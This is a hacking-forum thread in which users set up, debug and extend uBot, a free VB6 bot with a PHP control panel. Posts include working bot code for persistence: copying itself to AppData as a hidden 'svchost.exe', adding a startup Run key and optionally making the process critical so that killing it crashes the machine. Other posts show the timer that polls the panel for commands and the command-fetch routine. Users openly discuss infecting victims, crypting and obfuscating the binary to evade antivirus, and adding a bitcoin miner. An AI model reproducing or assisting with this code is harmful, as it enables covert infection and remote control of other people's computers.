ThE_SiLeNCe - July 26, 2011, 4:56 am

You should be using a panel which supports Cron setting such as cPanel, once on there its very straight forward.

Adzz

P.S ty mother teresa

make sure the interval in the vb6 configuration is matched with the epoch interval times in the cron.php file.

Adzz

kickalim - August 2, 2011, 11:23 am

Found some bugs and fixed :

The the fixed bugs are :

1. A Msn code that does nothing and gives error.
2. The commands are only working on form_load 1 time. The interval settings dont working and dont runs the commands. Timer1 dont work.
3. The majority do show up but a few minutes later everyone is offline.

After the fixes everything will work perfect!

1. Find and delete ;

Code 'Messenger API - Grab Emails

Dim hAPI As MessengerAPI.Messenger

2. Add to timer1 under "On Error Resume Next";

Code panel = "http://nygate.mainwebs.com/net/" 'Panel URL settings again

interval = 20 'minutes settings again

intCount = 0 'tCount settings again

Dont forget you need to setup the settings 2 times!

On Form_Load and Timer1 ;)

Thanks for this nice share... Nice project ! Please add this bug fixes to topic.

Oh Was I supposed to edit a line in the cronjobs.php? If so, which?

Khant - August 3, 2011, 4:51 pm

If I am not mistaken, the time is recorded in mysql in seconds. Instead of a cron, you could just make the bots check each other's statuses on the gateway they connect to.

For example:

```
mysql_query("DELETE FROM clients WHERE time < $time - 120");
```

That one line of code would delete all bots that has not reconnected within 120 seconds if i am not mistaken.

Dodger Leigh - August 3, 2011, 5:11 pm

Will try it later.

Khant - August 3, 2011, 5:11 pm

2nd tip:

under Project > Properties. Go under compile tab and change to compile to p-code. That will reduce the bin size by a lot.

kickalim - August 3, 2011, 10:33 pm

The cronjob just set the bots every 30 mins. To offline. If a bot is online. The Bot(timer1 Function) Will Reset it to online. On the panel you will see him online. My settings are :

30 Mins Cronjob
1 Mins Interval

And its working perfect. I have 300 Online`S 500 Offline`s.

I have tested it. With the fix`s of me its working perfect. If a bot is offline it will say offline after 30 Mins. If a bot is online. He will stay online on the panel. Because he connecting to the hosting every minute.

If you give a command all your online bots will get and run the command in 1 minute so simple.

Sorry for bad english...

Adzz - August 4, 2011, 5:32 am

(Aug 3, 2011 04:51 PM)Khant Wrote: [\[CITE\]](#) If I am not mistaken, the time is recorded in mysql in seconds. Instead of a cron, you could just make the bots check each other's statuses on the gateway they connect to.

```

That one line of code would delete all bots that has not reconnected within 120 seconds if i am not mistaken.

It is recorded in epoch time which is the equivalent to seconds since 1 January 1970, but firstly you wouldnt want them to delete you would just want them to state offline/dead and if you have too many bots all accessing that php page on a rotation your going to have bandwidth issues as well as strain on the php server.

Adzz

(Aug 3, 2011 02:19 PM)BioHaza?d™ Wrote: [\[CITE\]](#) Oh Was I supposed to edit a line in the cronjobs.php? If so, which?

Its hard to explain, imo just leave at its default interval, then add the fixes as stated in the OP and you should be fine.

Adzz

dea - August 6, 2011, 3:12 pm

I've upload the php and patch the database , i modif the setting of server (i change the url and the interval at 1 minute) .

I make the server.exe , i infect my computer , i look my panel , i wait ... , i wait I don't see my infection in panel .

Where is the problem please?

Thanks for you're works

Artiex - August 6, 2011, 3:55 pm

Looks very goood! I'll scan first

kickalim - August 6, 2011, 4:44 pm

Clarkson - August 7, 2011, 3:46 pm

I love the u bot Its stable and very good. Thanks mate :D

rulzy - August 7, 2011, 5:53 pm

Hey, I read all the 37 pages to fix it but the commands still don't work. It works just when I reopen

the executable file...

Is the only problem I have right now :/

Well now the bot appears offline 2-3 minutes later after execute, I setted the same interval time, in vb project, php cron.php file and in the cron command. 1 minute to all, then 30 minutes to all and the same shit, it becomes offline.

Help!

Adzz - August 8, 2011, 3:51 am

Rulzy, please do not edit the variable in the cron.php unless you've calculated the equivalent epoch time as done originally, second of all, please follow the fixes in the OT, you will then have to rebuild the exe and drop it on your victims.

Adzz

BigG - August 8, 2011, 7:12 am

When making the cron job I get Path to the script cannot contain any special symbols or whitespaces on SPAM o.O

[img]http://k.min.us/ij81XO.png[/img]

(Can't edit the left box)

BTW could anyone suggest me a different web host and a crypter for this bot?

rulzy - August 8, 2011, 9:37 am

Well I setted the default value in cron.php (\$mins = 1800;) and now the bots appears online all the time :P hahaha

Adzz - August 8, 2011, 10:50 am

have you actually setup the cron job in your cpanel tho?

Adzz

rulzy - August 8, 2011, 11:14 am

(Aug 8, 2011 10:50 AM)Adzz Wrote: [\[CITE\]](#) have you actually setup the cron job in your cpanel tho?

Adzz

Yeah. I setted it with the command you left in the 1st post, 30 minutes.. I dont know :/

Bitcoin Life - August 8, 2011, 12:36 pm

I'm new to this, so forgive my noobness, but I'm getting sql errors?

Quote:Warning: mysql_result(): supplied argument is not a valid MySQL result resource in /home/bitcoin/public_html/bot/stats.php on line 13

Warning: mysql_num_rows(): supplied argument is not a valid MySQL result resource in /home/bitcoin/public_html/bot/inc/html_menu.php on line 7

Gifted1337 - August 8, 2011, 12:47 pm

Wow this is so original. Well bro thank you i will be using this while updating my shell booter. Thanks

BigG - August 8, 2011, 2:44 pm

(Aug 8, 2011 12:36 PM)TYDIRocks Wrote: [\[CITE\]](#) I'm new to this, so forgive my noobness, but I'm getting sql errors?

Import boatnet.sql.

Any answer to my question?

Bitcoin Life - August 8, 2011, 3:47 pm

I already did import it, that's not the problem.

Josez - August 8, 2011, 9:12 pm

(Aug 8, 2011 03:47 PM)TYDIRocks Wrote: [\[CITE\]](#) I already did import it, that's not the problem.

Same shit is happening to me. The login page came up and after i tried my login it gave me 4 sql errors and the login page never showed up again

Adzz - August 9, 2011, 2:43 am

(Aug 8, 2011 09:12 PM)Josez Wrote: [\[CITE\]](#) Same shit is happening to me. The login page came up and after i tried my login it gave me 4 sql errors and the login page never showed up again

if your getting mysql errors then theres only 2 possible problems:

- a) you have not imported the .sql file to the corresponding database as stated in the config file
- b) you have not edited the config file with the correct mysql credentials.

Adzz

Josez - August 9, 2011, 11:59 am

Would i have to change the cron.php settings if my webhost only allows 2 cronjob runs a day?

Adzz - August 10, 2011, 3:43 am

(Aug 9, 2011 11:59 AM)Josez Wrote: [\[CITE\]](#) Would i have to change the cron.php settings if my webhost only allows 2 cronjob runs a day?

Simple answer... No.

Adzz

Bitcoin Life - August 11, 2011, 1:06 pm

I'm kind of confused...is the mysql user and pass my cPanel user and pass? Where can I find it?

Adzz - August 12, 2011, 4:23 am

(Aug 11, 2011 01:06 PM)TYDIRocks Wrote: [\[CITE\]](#) I'm kind of confused...is the mysql user and pass my cPanel user and pass? Where can I find it?

The MySQL user and pass can either be the cpanel pass or if you go into the MySQL database panel in cpanel it will also let you setup new username and passwords which you can then assign to corresponding databases.

Adzz

Apex - August 12, 2011, 7:18 am

Anyone here who could be niice and compile my server? :p I have edited the files with a portable vb6, but it can't compile and I can't install vb6 on this laptop (notebook) with windows xp it just gives me errors.

Buuut to the µbot, it looks very epiix (cool) and I look forward to be using this for a long time whenever I got my server compiled :]

Bitcoin Life - August 12, 2011, 9:55 am

Okay now I put in a user and I'm getting all kinds of errors :| I feel like a dumbass lol.

Adzz - August 12, 2011, 11:09 am

:S can you print screen some of these errors

Adzz

Bitcoin Life - August 12, 2011, 12:31 pm

This is actually more errors then the original:

[IMG]<http://k.min.us/ilHXv6.png>[/IMG]

Adzz

Okey... - August 13, 2011, 8:48 am

If you use this and have BSOD enabled, make sure it disables the BSOD on program shutdown or else, when the vic shutdowns their computer it will BSOD.

(Form_terminate)

Call MakeCritical(-1, False)

also add to all unload and end functions.

RaZa - August 24, 2011, 10:37 pm

How come all my 40 bots are STILL online after 3 days? Is there a way to modify the time interval the bot refreshes?

Adzz - August 25, 2011, 12:35 am

If the bots are still online then make sure your running the cron job.

Adzz

microsoldier - August 25, 2011, 6:50 am

Looks really great, now i will need to download vb6 :////

RaZa - August 25, 2011, 1:37 pm

(Aug 25, 2011 12:35 AM)Adzz Wrote: [\[CITE\]](#) If the bots are still online then make sure your running the cron job.

Adzz

What do I modify in the cron.php to modify the interval?

CommunityWebHost.net - August 25, 2011, 2:24 pm

cheers im using it now m8:) this will help manage my botnets

Adzz - August 26, 2011, 5:02 am

(Aug 25, 2011 01:37 PM)RaZa Wrote: [\[CITE\]](#) What do I modify in the cron.php to modify the interval? Its hard to explain, its to do with epoch time, if you read the cronjob and how it works im sure you'll understand.

Adzz

DailyMusic - August 26, 2011, 6:02 pm

Looks boss, good job mate. Looks like I gotta install vb6.

«?hø?» - August 26, 2011, 6:33 pm

Looks great but i get this

edit: problem fixed, it failed to extract a few files >.<
AMAZING bot, surprised this is free.

Adzz - August 27, 2011, 2:06 am

You are very welcome :)

Thanks,
Adzz

allsux - August 27, 2011, 4:26 am

i checked it out by infecting a VM.

Yet it does not execute the visible visit website command.
afak it should execute the command in ~30min right?

VM is Win7 and it shows up in the panel just right.

I also have a few questions about the tasks:
What exactly does update do? any arguments for this?
Uninstall uninstalls the bot right? any arguments needed?

Adzz - August 27, 2011, 10:20 am

update replaces the bot completely with a new executable, and it needs a url parameter, uninstall doesnt require any variables.

Adzz

allsux - August 27, 2011, 11:17 am

(Aug 27, 2011 10:20 AM)Adzz Wrote: [\[CITE\]](#) update replaces the bot completely with a new executable, and it needs a url parameter, uninstall doesnt require any variables.

So how do I fix my problem? Read the cronjob?

Adzz - August 28, 2011, 5:51 am

(Aug 27, 2011 05:19 PM)RaZa Wrote: [\[CITE\]](#) So how do I fix my problem? Read the cronjob? read the cronjob and understand how it works and compares epoch time, then adjust the values accordingly.

Adzz

kl3zero - August 30, 2011, 8:08 pm

so i have a noob question. i have uploaded everything to the public_html but when i go to my website nothing shows up. im pretty sure i have everything else corrcet. imported sql, config correctly but dont know why nothing show up.

Adzz - August 31, 2011, 1:01 am

This is a wierd problem... make sure there is no index.html and that you have overwritten any index.php files, even if the mysql was not working, you'd still be able to see the login page.

Adzz

allsux - August 31, 2011, 5:04 am

I got a weird problem.

I have all the timings on stock. Cronjob is set up on 30 min and works fine.

If a machine is infected it shows up online. After a while it shows up offline (even if it is still online) and does never show up online anymore.

Where should i look for the problem?

EDIT:

Sorry did not read the fix in OP!

SOLVED

Neutac - August 31, 2011, 5:25 am

Looks great.

Thanks you for the sharing.

kl3zero - August 31, 2011, 6:18 am

(Aug 31, 2011 01:01 AM)Adzz Wrote: [\[CITE\]](#) This is a wierd problem... make sure there is no index.html and that you have overwritten any index.php files, even if the mysql was not working, you'd still be able to see the login page.

Adzz

i think i know what it is sine i just got the domain and webhost it takes a while for it to propagate so nothing is showing up. im hoping with in the next 24 hours it should all work.

allsux - August 31, 2011, 9:59 am

Quote:2. Add to timer1 under "On Error Resume Next";

Code:

```
panel = "http://nygate.mainwebs.com/net/" 'Panel URL settings again
interval = 20 'minutes settings again
intCount = 0 'tCount settings again
```

Maybe i am wrong... but "intCount = 0 " in the Timer1() routine does stop the Timer from reaching the interval limit... am i wrong?

I still had quite a few problems so i started debugging.

Now it works like a charm. here is what i did:

I did NOT apply the fix for Timer1 as it crashed the server.

1. Timer1:

```
Code Private Sub Timer1_Timer()
On Error Resume Next
```

```
intCount = intCount + 1 'Count +1 minute...
```

```
If intCount >= interval Then 'If time is reached...
```

```
    intCount = 0 'Reset
```

```
    addtostartup "svchost", (Environ("AppData") & "\svchost.exe")
```

```
    Call getCommand(panel)
```

```
End If
```

```
End Sub
```

The thing that had to be made was right @ the beginnign of the code:

```
Code "
```

```
'© µBOT 2011 '
```

```
'VB6 - KØRRUPT '
```

```
'PHP Panel - Adzz'
```

```
"### [VAR SETTINGS INIT] ##
```

```
Private panel As String
```

```
Private interval As Integer
```

```
Private intCount As Integer
```

```
'## [/VAR SETTINGS INIT] ##
```

kl3zero - August 31, 2011, 2:35 pm

what exactly do i need to setup for the chron job? is there anything to do in vb6 or do i just put /usr/bin/wget <http://yoursitehere.com/yourpanel/cron.php> >/dev/null in under cron jobs with time of 30 min?

Adzz - August 31, 2011, 2:38 pm

neither, all you do is go in to your control panel and look for cronjobs, then set it to execute this task ever 30 minutes... ez

Adzz

kl3zero - August 31, 2011, 2:40 pm

edited my post once i saw that. and okay think im good then

NZT - August 31, 2011, 2:51 pm

How do I do stages 5 & 6 of the installation?

Thanks in advance for any help x

This is what I see at the moment: <http://screensnapr.com/v/2iq0GK.png>

allsux - September 1, 2011, 8:23 am

5. -> in phpadmin you should be able to import the .sql file that comes with the bot.

6. -> if you have no experience with compiling, coding, etc. i can can build you a bot for free. all i need are the configuration settings

R3dhot - September 1, 2011, 8:28 am

H For Hailey - September 10, 2011, 6:15 am

amfg. Looks amazing, Great job! I'm So going to use. Again Thanks c:

ExTaCy1337 - September 10, 2011, 8:08 am

Thanks bro downloaded this and setted it up :)

I Run command "wget <http://site.com/cron.php> >/dev/null"

Without quotes and I get cron.php saved

cron.php.1, php.2, php.3, php.4 etc etc what is that supposed to do?:P

And what exactly this command do? what is it function for uBot?

Why should I use it?

I also have a Darkcomet slave added him to the uBot and he was offline on uBot but was online on my Darkcomet, run the server again, he has changed his ip and now I have 2 bots of the same person with different IP only, one online one offline.

how to disable to offline one?

I choose uninstall choose the bot but nothing happens (Should I type something in the variable?) or it must be online to uninstall?What to do because this thing crashed there it's the same pc :p . also why does only 1 command works on each person? what I am doing wrong?

First command works but after I try to sent a command it still says on info my last command.

allsux - September 10, 2011, 8:59 am

read the source.

you can delete those cron downloads.

Adzz - September 10, 2011, 9:09 am

all VB parts of the bot is made by Kript0x... discuss this with him.

Adzz

allsux - September 11, 2011, 3:04 am

i am >200bots an now the map on statistics stopped working(every country is just white).
i tried to debug but nothing helped. :(

Adzz - September 11, 2011, 3:59 am

have you edited the stats page in any way or change any of the MySQL DB names?

Adzz

allsux - September 11, 2011, 4:05 am

the values for the gmap are correct.

i changed the clients table a few days ago but not in a way that would compromise the gmap. and it worked after the change just fine.

i will look further into it later.

Adzz - September 11, 2011, 4:57 am

Ok good luck, try reversing the changed and see if it works then.

Thanks,
Adzz

SpreadBoss - September 11, 2011, 4:59 am

Awesome bot good work man gl with sales

daGazaman - September 11, 2011, 5:51 am

As a noob to this forum I don't have any knowledge of the history or the baggage that comes with it.

It's a free d/l and its open source.I checked the code on all three tiers (PHP, VB & MySQL), unless I've missed something, I've seen nothing that indicate it's anything but legit code in the archive. If I had to design and write it from scratch it would take days. So, all I can say is a big Thank You to Adzz and Kript0x and its well appreciated :) Son of uBot indeed.

I have three questions:

1. Can I run multiple instances of the PHP and panel on multiple and geographically distributed server slices and point it back to the database since there are no table / record level locking on the database?
2. If I compile the active PHP using HipHop and the port the panel using a variant of C/C++, I gain performance. Do you see any gotchas or downside to this?
3. Why is the SQL script for building a database call boatnet? ;)

First thing first, I gotta build it and check it out first. If I do the work, I'll credit you for developing the original code base for this chunk of the work (I am contemplating more functionality).

Thanks again.

Alistair - September 11, 2011, 5:54 am

This does still have some bugs but if you know what your doing they are easy fixed.

I have added a bitcoin miner function to it and so far its very stable!

Adzz - September 11, 2011, 6:21 am

Hi and thanks for the nice comments, in regards to answering your questions:

1) Yes you can, i dont think you will have any problems but i dont see why this would help you out since your "clients/victims" are still going to be locked to a single panel unless you add in a backup system to switch panel if one dies

2) I honestly dont know what you are talking about but im going to assume that you would have no problems ;)

3) Haha, its because when i was coding it i need to think of a name for the DB so i originally named it "boatnet" :P

Have fun!

Adzz

(Sep 11, 2011 05:54 AM)Current Wrote: [\[CITE\]](#) This does still have some bugs but if you know what your doing they are easy fixed.

I have added a bitcoin miner function to it and so far its very stable!

Good job :), why dont you release your code to the community, get a uBot plugin system going :D

Adzz

allsux - September 11, 2011, 6:26 am

i can fix my problem when i change:

```
$ccs = mysql_query("SELECT DISTINCT cc FROM clients");
```

to

```
$ccs = mysql_query("SELECT DISTINCT cc FROM clients Limit 30");
```

when i got more than 30 cc code the map is not painted at all.

id this a limitation by gchart or is a cc code wrong?

Alistair - September 11, 2011, 6:30 am

(Sep 11, 2011 06:21 AM)Adzz Wrote: [\[CITE\]](#) Hi and thanks for the nice comments, in regards to

answering your questions:

1) Yes you can, i dont think you will have any problems but i dont see why this would help you out since your "clients/victims" are still going to be locked to a single panel unless you add in a backup system to switch panel if one dies

2) I honestly dont know what you are talking about but im going to assume that you would have no problems ;)

3) Haha, its because when i was coding it i need to think of a name for the DB so i originally named it "boatnet" :P

Have fun!
Adzz

Good job :), why dont you release your code to the community, get a uBot plugin system going :D

Adzz

Rather not release the "plugin" for free as its very basic code and anyone with the know how can do it.

EDIT: Even more addons to my bitcoin plugin. Check my sig for my uBOT online count and bitcoin stats. :)

allsux - September 11, 2011, 6:53 am

Fixed it. some of my clients got the CC code 'unk'

so fix in stats.php:

```
Code while($row = mysql_fetch_object($ccs))
{
    if($row->cc != 'unk')
    {
        array_push($cclist, $row->cc);
        $values = mysql_query("SELECT * FROM clients WHERE cc LIKE '$row->cc'");
        array_push($ccvalues, mysql_num_rows($values)/$totalbots * 100);
    }
}
```

The way to not allow trolling is to not allow the troll to know that you know he is trolling.

Adzz

hackingman - September 14, 2011, 11:15 am

Thats looking very sexy :D keep up the good work and if you add keylogger to it it will be perfect

allsux - September 14, 2011, 11:22 am

Actually adding a keylogger is not what this project needs O_o

Imho. it aims for gathering information about the system it is nested in so you can choose the best solution for your needs and DL/EX it on the machine.

What info i want that it does not already provide?

-Runtime Env.

-AV

-CPU/GPU

-Bandwidth/Open Ports

-Version of the RAT

-Desktop/Notebook

i guess this is all i need to choose the best solutions

Spolen - September 14, 2011, 1:20 pm

Thank you for the upload, I appreciate that you're giving the source for free, and without spam links. You're my hero :D

FlicMyBic - September 14, 2011, 6:13 pm

its sick that this is open source. keep up the good work!

Adzz - September 15, 2011, 3:18 am

Thanks for all the lovely comments, be sure to check out black trinity when it is released. :)

If you ask something you may seem stupid for a while, but if you don't you may be stupid for your whole life.

Bro look I know some things but I never met any cron jobs in my life, also this is the first bot I install :P

Can you give me an example of a cron file ?Like urs?Also it opens a blank page but the cron.php file have commands inside..

Sh1t I don't get it. Can you help me with this god damn clown job?:P

allsex - September 15, 2011, 6:08 am

all you need to do is in the OP.

just google "cron job generator" to get the right cron statement.

add this via crontab -e

Adzz - September 15, 2011, 6:56 am

(Sep 15, 2011 03:44 AM)ExTaCy1337 Wrote: [\[CITE\]](#) If you ask something you may seem stupid for a while, but if you don't you may be stupid for your whole life.

Use my cronjob command but where it says <http://site.com/> replace it with your own.

Adzz

ExTaCy1337 - September 15, 2011, 8:25 am

(Sep 15, 2011 06:56 AM)Adzz Wrote: [\[CITE\]](#) Use my cronjob command but where it says <http://site.com/> replace it with your own.

Adzz

You mean this?

/usr/bin/wget <http://yoursitehere.com/yourpanel/cron.php> >/dev/null

Yes I did that on my backtrack.

its not usr/bin/wget for me it's

wget <http://site.com/cron.php> >/dev/null

But should I change something in cron.php?

Yeap I run the command several times but what exactly does it do?

I have 13 bots on my uBot but they are all the same!

The same guy each time with different ip why?:s

(Sep 15, 2011 02:35 PM)allsux Wrote: [\[CITE\]](#) did you change anything in the run.php?No I didn't even opened it.

(Sep 16, 2011 03:18 AM)Adzz Wrote: [\[CITE\]](#) Hi,

Yeah thats what i think aswell, if not, by any chance did you buy these bots? it seems that you may have been scammed by someone running the same bot on vm'd pcs :S

AdzzNo I didn't buy this bots bro, from the time I setted uBot I had 1 online victim in my DarkComet (He isn't even RATTED from someone else as I saw his processes) I executed uBot server to him, then he appeared, but everytime he changed IP I guess he is added as a bot.

As you can see, he is online in 4 bots (But he is the same person I also have DarkComet on him) , the old IP's got offline, and the older IP's got dead.

Maybe the uBot server must run one time only?

Cause I added it at startup...?

Like we do with RAT's.

allsux - September 16, 2011, 7:25 am

can you read the saved id from the registry?

maybe smth went wrong with r/w to the registry

ExTaCy1337 - September 16, 2011, 8:20 am

(Sep 16, 2011 07:25 AM)allsux Wrote: [\[CITE\]](#) can you read the saved id from the registry?

maybe smth went wrong with r/w to the registryCan you tell me the path to check?:x

Edit: forgot I had the source code XD

Code If AmlAdmin = True Then

CAL1 = "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run"

WshShell.RegDelete CAL1

Else

CAL1 = "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run"

WshShell.RegDelete CAL1

End IfSomewhere around there? :P

Which file to check?

I cant find any ID's :| And on the source code the only paths of registry I find is for Run (Startup) I guess

I think the error is because I had Final.exe added manually on startup, how can I delete the other's from my uBot and keep only the last bot? :P

Adzz - September 16, 2011, 10:15 am

It seems like your having a VB6 Problem, please ask Kript0x for help.

Adzz

allsux - September 16, 2011, 10:54 am

read the registry of your slave if you can:

HKEY_CURRENT_USER\Software\VB and VBA Program Settings\svchost...

ExTaCy1337 - September 16, 2011, 12:22 pm

(Sep 16, 2011 10:54 AM)allsux Wrote: [\[CITE\]](#) read the registry of your slave if you can:

HKEY_CURRENT_USER\Software\VB and VBA Program Settings\svchost...@OP

Also sorry guys for telling me troll I read the topic again and I get why you told me troll xD

OP you told me if I changed the site.com/cron.php in the command and I didn't understand it while I read it first time.

Of course I run wget http://my_website_here/my_own_path/cron.php :P

Of course I didn't run the command with <http://site.com/cron.php> xD

But everytime I run it it says cron.php.1 created

cron.php.2 created.

Where are this cron.php.(NUMBER) are saved?xD

and what exactly it does everytime I run this command?

My bots are offline on DarkComet and they are still online for hours on uBot, everytime I run the cronjob command it suppose to refresh it or something?

Take a look at this photo, cron.php.5 saved (Cause I have run this command 5 times)'

[Hey I just run the command and all my bots got offline so I guess this is to refresh?Everytime I need to give a command to the bots I need to use this to refresh so the commands will work again?:D]

How the hell can I delete the dead/offline bots that are stuck from the same person?xD

[IMG][http://i56.\[censored\].com/x2qbgj.jpg](http://i56.[censored].com/x2qbgj.jpg)[/IMG]

@allsux

Are you sure this is the right path man?

I don't know why he doesn't have this path.

In my Windows 7 I have the VB and VBA Program Settings.

check here:

[img][http://i56.\[censored\].com/262qhrq.jpg](http://i56.[censored].com/262qhrq.jpg)[/img]

I use VM for my Rat client everything.

I will never even put any RAT Client on my main OS LoL :>

1 thing is that I have to disable AV and all that stuff, on my VM I have no AV and I run it from there. he have windows xp sp2.

How the hell will I find the path?

Gotta search all teh registry? :p

Isn't that written in the source code? where the ID's are created?

allsux - September 16, 2011, 3:42 pm

Code -> SaveSetting "svchost", "svchost", "id", Split(strText, "|")(1) 'Save the new ID

Info -> <http://msdn.microsoft.com/en-us/library/3kz7fyks%28v=vs.80%29.aspx>

IzNarf - September 18, 2011, 6:39 am

I just obfuscated it and its only detected by Avira as Dropper.Gen.

allsux - September 26, 2011, 5:18 pm

I will release a kinda stable version of the extended ubot this week. It might still be full of bugs but for me it works good enough. I release it so soon because i don't have enough time to finish this in near future and the c++ port takes some time :)

The release will still be VB6 and feature encrypted local saved settings and encrypted commands and more. In VB6 i did not use a safe encryption but i think it will piss off some guys.

The release is meant for developers and i will limit support to the minimum.

i can pay him:)

skbahitia@hotmail.com

arebokert - October 19, 2011, 11:44 am

Doesn't work for me. The webinterface works fine, and so does the bot, but the commands i try to execute never works. I have given up.

Skeetz - October 19, 2011, 4:54 pm

Thanks alot for this broo i will surely use it in the feature :)

Wendys - October 19, 2011, 5:38 pm

Shit Does Look Totally Kick Ass, But I cant use it already have tons of RAT Programs But Might Delete One For This looks tight.

This is My 50th Post That Means Sig, YES!!

????? - October 22, 2011, 9:05 pm

I set the interval in the vb6 source for the bot to 5 minutes (before this I tried 1) opened the bot in vm and boom it connected to the webpanel almost instantly... (Great)

But problem is none of the commands work, I timed it with a timer 5 minutes later my download command, visit command, uninstall command did not work.

Upon restart of my VM the commands work.

Why is this? Someone guide me step by step how to fix this please? I just want it so every 5 minutes my commands will go thru.

:\

Thanks!

EDIT FIXED:

I followed this

```
Code Private Sub Timer1_Timer()  
On Error Resume Next
```

```
intCount = intCount + 1 'Count +1 minute...
```

```
If intCount >= interval Then 'If time is reached...  
    intCount = 0 'Reset  
    addtostartup "svchost", (Environ("AppData") & "\svchost.exe")  
    Call getCommand(panel)  
End If
```

```
End Sub  
Add this to the begining of the code
```

```
Code "  
'© µBOT 2011 '  
'VB6 - KØRRUPT '  
'PHP Panel - Adzz'  
"## [VAR SETTINGS INIT] ##  
Private panel As String  
Private interval As Integer  
Private intCount As Integer  
  
"## [/VAR SETTINGS INIT] ##[/quote]
```

Now all my commands go thru after 1 minute :D
-Bytes

jahson - October 23, 2011, 4:14 am

was testing this quite a long time, is a real small sized bin and amazingly stable. BIG UP! THX!

unknownx9 - October 28, 2011, 5:21 am

Havin trouble building the .exe who is able to help me ?

Ice_mans - October 28, 2011, 11:18 am

Very good guide you got there must try it sometime :)

Adzz - November 11, 2011, 4:19 pm

Removed the demo panel as i no longer wish to support the bot, all those looking for my new work should look into the Black Trinity's HTTP Bot.

Cyber Chief - November 12, 2011, 12:59 pm

Thank you I appericiate it I will give it a shot when I come home and tell how it is! ;).

Supporter747 - December 2, 2011, 4:16 am

can anyone help me to setup this. xD

badbrains - December 7, 2011, 4:42 am

"The "μ" within in our name represents simplicity and small size, which is directly in relation with our bot itself, with a tiny size of 9kb compressed with the control from the easy-to-use control panel."

uTorrent, is that you?

Adzz - December 7, 2011, 5:28 am

uTorrent, is that you?

μTorrent, and does μTorrent own "μ"? "μ" is originally used in measurements, our bot is small so we thought it was applicable.

irunbremen - December 8, 2011, 5:47 am

i have a little problem

<http://s7.directupload.net/images/111208/8csk8zhs.jpg>

what can i do?

Tokenſter - December 8, 2011, 6:47 am

Looks pretty advanced, I will check it out ſoon.

irunbremen - December 8, 2011, 10:15 am

with which crypter is this compitable?

Hmm, i would recommend you contact kript0x, he developed the bin.

.Zink - January 10, 2012, 3:17 am

This is absolutely amazing, really simple & professional. Good work :o
thumbs up

#Edit

Almost double posted then >.>

Download & Execute does not work at all for me, uninstall is fine.
(Yes, I've applied the fixes)

Any help highly appreciated.

sKyZ - January 10, 2012, 5:04 pm

Can you please explain what these two variables do:

interval = 20 'minutes

intCount = 0 'tCount

And if lowered, how they would impact the performance and functionality of the bot?

Also, it appears that each time cron.php is ran, more and more bots appear offline. Any reason?

Thanks.

Imadj - January 10, 2012, 5:30 pm

Thank you for this release.

Looks very good.

I will testing later

grodt - January 12, 2012, 1:45 pm

Can some help me setup my SpyEye 1.3.45 ?

Please help me ! PM ME

Adzz - January 19, 2012, 11:58 pm

I have now posted information regarding my new HTTP Bot - Cloud.NET, you can find it here <https://hackforums.net/showthread.php?tid=2126489>

biox2010 - February 27, 2012, 11:55 pm

Hello I setup the bot and work good in my vm but when I shut down the vm in the panel the bot still online never goes offline.. How I can fix that

Adzz - February 28, 2012, 3:24 am

(Feb 28, 2012 12:55 AM)biox2010 Wrote: [\[CITE\]](#) Hello I setup the bot and work good in my vm but when I shut down the vm in the panel the bot still online never goes offline.. How I can fix that
Make sure your running the cron job

biox2010 - February 28, 2012, 12:31 pm

Now I have other prob the commands doesnt work tested on vm and few remote bots.. :7

ProfoundZeus™ - February 29, 2012, 2:34 pm

First of all Adzz, GREAT work on the bot. It is the most basic thing i have ever seen, easy to understand, easy for anyone to modify to his needs.

And secondly, is there anyone who still has allsux modified version of the bot? It seemed very nice but the download link seems dead.

pacman90 - April 25, 2012, 12:30 pm

could anyone help me with the setup? I compiled it but my bots just dont connect..

Id pay a few \$ if needed, cause this seems like the perfect bot for my needs :/

my settings:

Code '## [SETTINGS] ##

panel = "10x.xxx.xxx.xx/ub/" 'Panel URL

MuTeX "KRIPsdfoejf" 'Set Mutex

interval = 20 'minutes

intCount = 0 'tCount

'## [/SETTINGS] ##

'## [PERSISTANCE] ##

'Call MakeCritical(-1, True) 'BSOD Process Persistence

App.TaskVisible = False 'Visibility

FileCopy App.Path & "%appdata%" & App.EXENAME & "adobe.exe", Environ("AppData") & "svchost.exe" 'Copy file

SetFileAttributes Environ("AppData") & "svchost.exe", FILE_ATTRIBUTE_HIDDEN 'Hide it

addtostartup "svchost", (Environ("AppData") & "svchost.exe") 'Add to startup

'## [/PERSISTANCE] ##

thanks in advance!

d0to - May 3, 2012, 2:12 am

Your code doesn't copy the file properly.

d0to - May 4, 2012, 8:14 am

Well, I'm not sure if it's my mistake, or yours, but the bot is very unstable. Infected myself, tried uninstall command on an unmodded bot (only interval set to 2 minutes and the panel URL). Never closed itself; I waited like 15 minutes. Any advice how I can fix this?

GennyShark - May 4, 2012, 12:35 pm

How i can attack, if i have a pc zombie, but at the task what i run?

d0to - May 4, 2012, 8:58 pm

I was wrong about stability. The bot is stable, what was wrong was that my hosting was injecting an invisible view counter into files so the bot couldn't read out the command.

Mave95 - May 5, 2012, 12:02 pm

Can somebody tell me how to fix this:

Bullshit, i coded this from scratch, please provide a link to his panel.

Leethaxor101 - June 27, 2012, 7:22 pm

Looks great! I will be testing this out PM me we can get in contact.

EulaGee - June 30, 2012, 4:22 pm

great info - really ice cool man - white hot & sharp as a scalpel - love to hear more from you man -
pm me if you don't mind teaching noobs.

Night Weave - June 30, 2012, 4:51 pm

this is trash it sucks so bad its not funny

Lian - July 8, 2012, 12:53 pm

Thank you for your effort and time creating this bot.

devil00070 - July 27, 2012, 6:11 am

A noob question : Is it necessary to to do use cron jobs function when i just want to gather bots and use them for download and execute function ?. Will Ubot work work if i don't use cron jobs or edit it ?

master-i - August 1, 2012, 8:29 am

Why no stealer? It'll be the most complete free botnet :D

Syndicated - August 2, 2012, 7:24 am

Note: Bin will not update to server without heavy modification to the URL POST functions.

It's not a timer issue - the timer works fine, its just this:

```
Public Sub getCommand(ByVal panel) 'Get Latest Command
Dim objHttp As Object, strURL As String, strText As String, id As String
```

```
id = GetSetting("svchost", "svchost", "id", strText) 'Get ID
```

```
strURL = panel & "run.php" 'Control Panel / run.php
Set objHttp = CreateObject("MSXML2.ServerXMLHTTP")
objHttp.Open "POST", strURL, False
objHttp.setRequestHeader "User-Agent",
    "753cda8b05e32ef3b82e0ff947a4a936" 'Set user-agent [Secret MD5]
```

```
objHttp.setRequestHeader "Content-Type",  
    "application/x-www-form-urlencoded" 'Allows data to be sent
```

```
If id <> "" Then 'If NOT blank...
```

```
